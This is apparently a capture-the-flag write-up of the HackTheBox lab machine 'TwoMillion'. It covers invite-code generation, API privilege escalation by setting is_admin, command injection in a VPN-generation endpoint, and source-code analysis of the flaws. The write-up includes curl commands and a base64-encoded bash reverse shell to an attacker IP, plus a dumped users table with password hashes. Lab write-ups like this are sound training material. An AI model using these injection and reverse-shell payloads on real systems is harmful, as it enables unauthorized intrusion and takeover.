TwoMillion | HackTheBox

Overview

TitleTwoMillion
DifficultyEasy
MachineLinux
Makers

In this easy linux machine we will face the classic hackthebox invite challenge that is required to be solved by the users to register a new account. We will generate the invite code and create a new account then escalate to the admin role by manipulating some api misconfigurations which leads to the access of a new api endpoint with rce vulnerability. We will exploit the rce to gain access to the system and read admin user credentials from the .env file. We then privesc to root by exploiting CVE-2023-0386 and read the final root flag.

Information Gathering

Scan all open TCP ports:

 nmap -p- -T4 --min-rate 10000 10.10.11.221 -oA nmap/ports
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-25 16:21 IST
Nmap scan report for 10.10.11.221
Host is up (0.27s latency).
Not shown: 65499 filtered ports, 34 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 40.02 seconds

Further scan the open ports with default script and service scan flags:

 nmap -p22,80 -sC -sV 10.10.11.221 -oA nmap/service
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-25 16:24 IST
Nmap scan report for 10.10.11.221
Host is up (0.66s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.33 seconds

Let’s add the domain name to the /etc/hosts file.

 sudo echo "10.10.11.221 2million.htb" >> /etc/hosts

Now scan the port 80 again to see if anything changes:

 nmap -p80 -sC -sV 10.10.11.221 -oA nmap/http
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-25 16:39 IST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds

Nothing interesting…


Port 80 - HTTP (Nginx)

As I said earlier, in order to register a new account we have to solve this challenge:

I will be going through the challenge without detailed explanation assuming that you guys know the stuff already.

Generate invite code:

Send a post request to /api/v1/invite/generate

 curl -XPOST 'http://2million.htb/api/v1/invite/generate'

The code is encoded in base64 you can either decode it using base64 -d or be more cool and use jq instead. We can use the @base64d format string to decode base64 encoding.

  • -r flag is used to get raw output of the filter (i.e. without quotes)
  • .data.code is used to get the value of code inside data
  • we then pipe the output into @base64d format string to decode the base64 value
 curl -XPOST 'http://2million.htb/api/v1/invite/generate' --silent | jq -r '.data.code | @base64d'
2SLRO-WDS71-6ECIA-BTIJ5

Now using this invite code we can register a new account and check the functionalities.

Fuzzing time:

I am using Feroxbuster and dirsearch wordlist for a quick scan:

 feroxbuster -u http://2million.htb/ --no-recursion --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/dirsearch.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://2million.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/dirsearch.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /home/h4r1337/.config/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🚫  Do Not Recurse        │ true
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD      GET        7l       11w      162c Got 301 for http://2million.htb/39a396fcdf9146a789798c2d83ce42ec (url length: 32)
WLD         -         -         - http://2million.htb/39a396fcdf9146a789798c2d83ce42ec => http://2million.htb/404
WLD      GET         -         -         - Wildcard response is static; auto-filtering 162 responses; toggle this behavior by using --dont-filter
WLD      GET        7l       11w      162c Got 301 for http://2million.htb/e4a3055cc9a64e0bb20aacb1d4ae37ffb441b4c8fcf5452f9ab15d4b36d50eda7b7fbd4b1d82425c95406f6fd304e83c (url length: 96)
WLD         -         -         - http://2million.htb/e4a3055cc9a64e0bb20aacb1d4ae37ffb441b4c8fcf5452f9ab15d4b36d50eda7b7fbd4b1d82425c95406f6fd304e83c => http://2million.htb/404
200      GET     1242l     3326w        0c http://2million.htb/
200      GET       46l      152w        0c http://2million.htb/404
401      GET        0l        0w        0c http://2million.htb/api
403      GET        7l        9w      146c http://2million.htb/assets/
403      GET        7l        9w      146c http://2million.htb/controllers/
403      GET        7l        9w      146c http://2million.htb/css/
403      GET        7l        9w      146c http://2million.htb/fonts/
302      GET        0l        0w        0c http://2million.htb/home => http://2million.htb/
403      GET        7l        9w      146c http://2million.htb/images/
200      GET       96l      285w        0c http://2million.htb/invite
403      GET        7l        9w      146c http://2million.htb/js/
302      GET        0l        0w        0c http://2million.htb/logout => http://2million.htb/
200      GET     1242l     3326w        0c http://2million.htb/views/
[####################] - 1m     13193/13193   0s      found:15      errors:0
[####################] - 1m     13195/13193   182/s   http://2million.htb/

Let’s check further inside the /api endpoint using some specific wordlists from seclists

 feroxbuster -u http://2million.htb/api/ --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://2million.htb/api/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/api/objects.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /home/h4r1337/.config/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD      GET        7l       11w      162c Got 301 for http://2million.htb/api/5030f00dc2f645de8293e52d19e06e72 (url length: 32)
WLD         -         -         - http://2million.htb/api/5030f00dc2f645de8293e52d19e06e72 => http://2million.htb/404
WLD      GET         -         -         - Wildcard response is static; auto-filtering 162 responses; toggle this behavior by using --dont-filter
WLD      GET        7l       11w      162c Got 301 for http://2million.htb/api/fb7fa5e4ff13410d890e539d08e9ddab5934e9af97514708acd99ccc463694dbb32a685eae8f4ef69d7f71ae7d95fe2f (url length: 96)
WLD         -         -         - http://2million.htb/api/fb7fa5e4ff13410d890e539d08e9ddab5934e9af97514708acd99ccc463694dbb32a685eae8f4ef69d7f71ae7d95fe2f => http://2million.htb/404
401      GET        0l        0w        0c http://2million.htb/api/v1
[####################] - 18s     3133/3133    0s      found:3       errors:0
[####################] - 17s     3135/3133    174/s   http://2million.htb/api/

It’s showing 401 so we need an account to view that any way:

The /api/v1 list outs all the available api endpoints and we can see that there’s an endpoint to update admin settings /api/v1/admin/settings/update. Let’s see what it does.

 curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8'
{"status":"danger","message":"Invalid content type."}

It looks like we can follow the error messges to determine all the parameters required.

 curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json'
{"status":"danger","message":"Missing parameter: email"}

 curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"email": "admin@2million.htb"}'
{"status":"danger","message":"Missing parameter: is_admin"}

 curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"email": "admin@2million.htb", "is_admin": 1}'
{"status":"danger","message":"Email not found."}

After some trial and error we got all of the necessary parameters. Now lets try using the email we created the account with and see what happens.

 curl -XPUT 'http://2million.htb/api/v1/admin/settings/update' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json'  -d '{"email": "randomuser@2million.htb", "is_admin": 1}'
{"id":14,"username":"randomuser","is_admin":1}

Great! looks like we are admin now. Let’s confirm it by sending a request to the /admin/auth api endpoint.

 curl -XGET 'http://2million.htb/api/v1/admin/auth' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8'
{"message":true}

Yup we are admin!

Let’s check the /api/v1/admin/vpn/generate endpoint. Again after some trial and error we can see that it requires a username parameter to work. Let’s give it ours and see the generated output.

 curl -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>

..........SNIP..........

-----END OpenVPN Static key V1-----
</tls-auth>

If you check the vpn file generated we can see that the value of the username parameter is reflected in there:

If proper validation is not done then we could try some injection type vulerability and check if anything is working.


Exploitation

RCE

We can see that the username is reflecting in the vpn file generated. First I tested for rce in the username parameter. But unfortunately the output is not showing when the username is changed so something is stopping the execution when we input rce payloads. One way w can test the rce is by using the sleep command and check the time delay:

time curl --silent  -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser"}' > test

________________________________________________________
Executed in    1.81 secs      fish           external
   usr time    8.23 millis    1.21 millis    7.03 millis
   sys time    7.17 millis    0.14 millis    7.03 millis

time curl --silent  -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser;sleep 5"}' > test

________________________________________________________
Executed in    6.21 secs      fish           external
   usr time   11.54 millis    1.06 millis   10.48 millis
   sys time    3.62 millis    0.12 millis    3.50 millis

See the time difference:

Now we can confirm RCE. So let’s exploit it by adding a reverse shell payload from revshells.com

Here I used base64 encoding to make the payload work without producing any errors.

We can send a POST request with the payload to get a shell:

 curl --silent  -XPOST 'http://2million.htb/api/v1/admin/vpn/generate' -H 'Cookie: PHPSESSID=rkdg35h0k13lm3asa5vhjv4lt8' -H 'Content-Type: application/json' -d '{"username": "randomuser;echo \'MDwmMTk2O2V4ZWMgMTk2PD4vZGV2L3RjcC8xMC4xMC4xNC42MC8xMjM0OyBiYXNoIDwmMTk2ID4mMTk2IDI+JjE5Ng==\'| base64 -d | bash"}'

And we got shell as www-data


Lateral Movement to user

Local Enumeration

There’s a .env file with some database credentials. We could probably use it to check the database for any valuable information or try to use the username and password to ssh into the machine (since admin user is present in the /etc/passwd file)

But before that let’s check what’s actually happening in the php files.

Source code analysis:

if you check the controllers/AdminController.php file in the api/v1/admin/update/settings endpoint they are already checking whether the current user is admin or not. If the $is_admin variable is false then it simply exits. Then how we are able to visit the endpoint?

 public function update_settings($router) {
        $db = Database::getDatabase();

        $is_admin = $this->is_admin($router);
        if (!$is_admin) {
            return header("HTTP/1.1 401 Unauthorized");
            exit;
        }

It is using the is_admin() function to check whether we are admin and stores the return value to $is_admin variable. Then inside and if statement its just checking !$is_admin. So the is_admin() should return either TRUE or FALSE right? right?

NOP!

The is_admin() function is just returning a json output and the TRUE and FALSE values are just inside the json data:

public function is_admin($router)
    {
        if (!isset($_SESSION) || !isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || !isset($_SESSION['username'])) {
            return header("HTTP/1.1 401 Unauthorized");
            exit;
        }

        $db = Database::getDatabase();

        $stmt = $db->query('SELECT is_admin FROM users WHERE username = ?', ['s' => [$_SESSION['username']]]);
        $user = $stmt->fetch_assoc();

        if ($user['is_admin'] == 1) {
            header('Content-Type: application/json');
            return json_encode(['message' => TRUE]);
        } else {
            header('Content-Type: application/json');
            return json_encode(['message' => FALSE]);
        }
    }

So whatever the return value is the if block inside the update_settings() function is just not going to work. Because the value of $is_admin will never be interpreted as FALSE. In order to fix the issue we have to use json_decode() and check the value of message. It would be something like this:

```php
 public function update_settings($router) {
        $db = Database::getDatabase();

        $json = json_decode($this->is_admin($router));
        if (!$json->message) {
            return header("HTTP/1.1 401 Unauthorized");
            exit;
        }

Hopefully this should work (I haven’t tested it).

Ok now let’s move on the controllers/VPNController.php file where the /api/v1/admin/vpn/generate endpoint is defined:

public function admin_vpn($router) {
        if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
            return header("HTTP/1.1 401 Unauthorized");
            exit;
        }
        if (!isset($_SESSION['is_admin']) || $_SESSION['is_admin'] !== 1) {
            return header("HTTP/1.1 401 Unauthorized");
            exit;
        }
        if (!isset($_SERVER['CONTENT_TYPE']) || $_SERVER['CONTENT_TYPE'] !== 'application/json') {
            return json_encode([
                'status' => 'danger',
                'message' => 'Invalid content type.'
            ]);
            exit;
        }

        $body = file_get_contents('php://input');
        $json = json_decode($body);

        if (!isset($json)) {
            return json_encode([
                'status' => 'danger',
                'message' => 'Missing parameter: username'
            ]);
            exit;
        }
        if (!$json->username) {
            return json_encode([
                'status' => 'danger',
                    'message' => 'Missing parameter: username'
            ]);
            exit;
        }
        $username = $json->username;

        $this->regenerate_user_vpn($router, $username);
        $output = shell_exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");

        return is_array($output) ? implode("<br>", $output) : $output;
    }

The function is passing the $username variable to regenerate_user_vpn() function:

public function regenerate_user_vpn($router, $user = null) {
        if ($user != null) {
            exec("/bin/bash /var/www/html/VPN/gen.sh $user", $output, $return_var);
        } else {
            if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
                return header("HTTP/1.1 401 Unauthorized");
                exit;
            }
            if (!isset($_SESSION['username']) || $_SESSION['username'] == null) {
                return header("HTTP/1.1 401 Unauthorized");
                exit;
            }

            $username = $this->remove_special_chars($_SESSION['username']);
            $fileName = $username. ".ovpn";

            exec("/bin/bash /var/www/html/VPN/gen.sh $username", $output, $return_var);

            $this->download_vpn($fileName);
        }
    }

The function is using exec() function to generate the vpn file if simply $user is not null. Great.

Anyway… let’s move on to the next step.

Lateral Movement vector

First let’s login to mysql.

There are two tables - invite_codes and users:

MariaDB [htb_prod]> show tables;
+--------------------+
| Tables_in_htb_prod |
+--------------------+
| invite_codes       |
| users              |
+--------------------+
2 rows in set (0.000 sec)

invite_codes probably contain the codes for the invite challenge. We could find usernames and credentials of the accounts created in the users table:

MariaDB [htb_prod]> select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username     | email                      | password                                                     | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX          | trx@hackthebox.eu          | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq |        1 |
| 12 | TheCyberGeek | thecybergeek@hackthebox.eu | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK |        1 |
| 13 | admin        | admin@admin.com            | $2y$10$N.hsJNfoYPGV3SGCcTYcmO5CeJ6P6mDxJS11jmAX4C/FZ2qzEX8Qm |        1 |
| 14 | randomuser   | randomuser@2million.htb    | $2y$10$MdxNNwxCAbufgaCEMsv7SeHG4yLyB551P40eAtOpqDDGJOiZHoT/S |        1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
4 rows in set (0.000 sec)

Nothing specific.

Let’s try ssh using the username and the password we got.

 ssh admin@10.10.11.221
admin@10.10.11.221s password:

admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ whoami
admin
admin@2million:~$ cat user.txt
****************************

Alright we got logged in as admin user.


Privilege Escalation

Local Enumeration

First things first:

After some enumeration found /var/mail/admin file is readable by the admin user and may contain something interesting I mean exposition:

admin@2million:~$ find / -type f -user admin -readable 2>/dev/null

As I said, not so creative but considering the burden of being an easy box it is okay…

After searching a bit about OverlayFS kernel exploits I found this one: CVE-2023-0386

Privilege Escalation vector

CVE 2023 0386

Check this awesome blog from Datadog Security Labs to know more about the exploit. We can use this POC to exploit the vulnerability.

Looks like someone already did it for me and forgot to clean it up:

Anyway…

We can use it to exploit and escalate into the root user:

Since the machine have tmux already installed, we can use it to run the exploits in two seperate window:

And that’s it, we got the root shell!!

root@2million:/# whoami
root
root@2million:/# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/# cat /root/root.txt
****************************
root@2million:/#


Overall this was a fun easy box. I was able to get into the working of the api by checking the php files and it was fun. There’s also a fun easter egg kind of thing hidden inside the root directory, so if you are interested try to find it out yourself. This box also helped me to learn more about CVE-2023-0386. Maybe I will write about the vulnerability in detail in some other blog.

updated at 2023-07-26